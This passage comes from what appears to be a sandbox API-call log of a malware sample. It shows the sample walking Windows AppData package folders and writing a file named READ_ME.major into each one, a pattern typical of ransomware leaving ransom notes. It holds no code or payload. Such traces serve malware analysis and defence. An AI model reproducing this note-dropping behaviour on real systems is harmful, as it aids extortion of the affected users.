ftLastAccessTime.dwLowDateTime=0x71318bbc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71318bbc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.642] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x944 [0190.643] WriteFile (in: hFile=0x944, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.643] CloseHandle (hObject=0x944) returned 1 [0190.644] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5ae5d2a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd5ae5d2a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd5ae5d2a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.644] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x944 [0190.644] WriteFile (in: hFile=0x944, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.645] CloseHandle (hObject=0x944) returned 1 [0190.645] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x26ab0f83, ftLastAccessTime.dwHighDateTime=0x1d4d5d0, ftLastWriteTime.dwLowDateTime=0x26ab0f83, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.645] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x944 [0190.646] WriteFile (in: hFile=0x944, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.647] CloseHandle (hObject=0x944) returned 1 [0190.647] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x26ab0f83, ftLastAccessTime.dwHighDateTime=0x1d4d5d0, ftLastWriteTime.dwLowDateTime=0x26ab0f83, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.647] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x241ee5e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6610b0 [0190.647] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x241ee5e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.647] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.647] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948 [0190.685] WriteFile (in: hFile=0x948, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.686] CloseHandle (hObject=0x948) returned 1 [0190.686] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c949cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.686] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948 [0190.687] WriteFile (in: hFile=0x948, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.688] CloseHandle (hObject=0x948) returned 1 [0190.688] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c949cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.688] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948 [0190.689] WriteFile (in: hFile=0x948, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.690] CloseHandle (hObject=0x948) returned 1 [0190.690] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c949cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.690] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948 [0190.691] WriteFile (in: hFile=0x948, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.691] CloseHandle (hObject=0x948) returned 1 [0190.692] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x241ee5e5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x241ee5e5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x241ee5e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.692] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c949cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.692] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948 [0190.692] WriteFile (in: hFile=0x948, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.693] CloseHandle (hObject=0x948) returned 1 [0190.693] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c949cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.693] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948 [0190.693] WriteFile (in: hFile=0x948, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.694] CloseHandle (hObject=0x948) returned 1 [0190.694] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c949cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.694] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948 [0190.695] WriteFile (in: hFile=0x948, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.696] CloseHandle (hObject=0x948) returned 1 [0190.696] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c949cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.696] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948 [0190.697] WriteFile (in: hFile=0x948, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.698] CloseHandle (hObject=0x948) returned 1 [0190.698] FindNextFileW (in: hFindFile=0x6610b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c949cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.698] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8769207c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2431f83d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660bf0 [0190.698] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8769207c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2431f83d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.698] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea147891, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x37de8088, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x37de8088, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.698] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94c [0190.700] WriteFile (in: hFile=0x94c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.701] CloseHandle (hObject=0x94c) returned 1 [0190.701] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0fb524, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152d29c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea0fb524, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.702] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94c [0190.702] WriteFile (in: hFile=0x94c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.703] CloseHandle (hObject=0x94c) returned 1 [0190.703] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152db4f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea0165be, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.703] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94c [0190.705] WriteFile (in: hFile=0x94c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.705] CloseHandle (hObject=0x94c) returned 1 [0190.706] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbe9a3b7f, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0xbe9a3b7f, ftLastWriteTime.dwHighDateTime=0x1d32746, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.706] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94c [0190.706] WriteFile (in: hFile=0x94c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.707] CloseHandle (hObject=0x94c) returned 1 [0190.707] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2431f83d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2431f83d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2431f83d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.707] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1649d0c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea0165be, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.707] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94c [0190.708] WriteFile (in: hFile=0x94c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.709] CloseHandle (hObject=0x94c) returned 1 [0190.709] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71318bbc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71318bbc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.709] CreateFileW 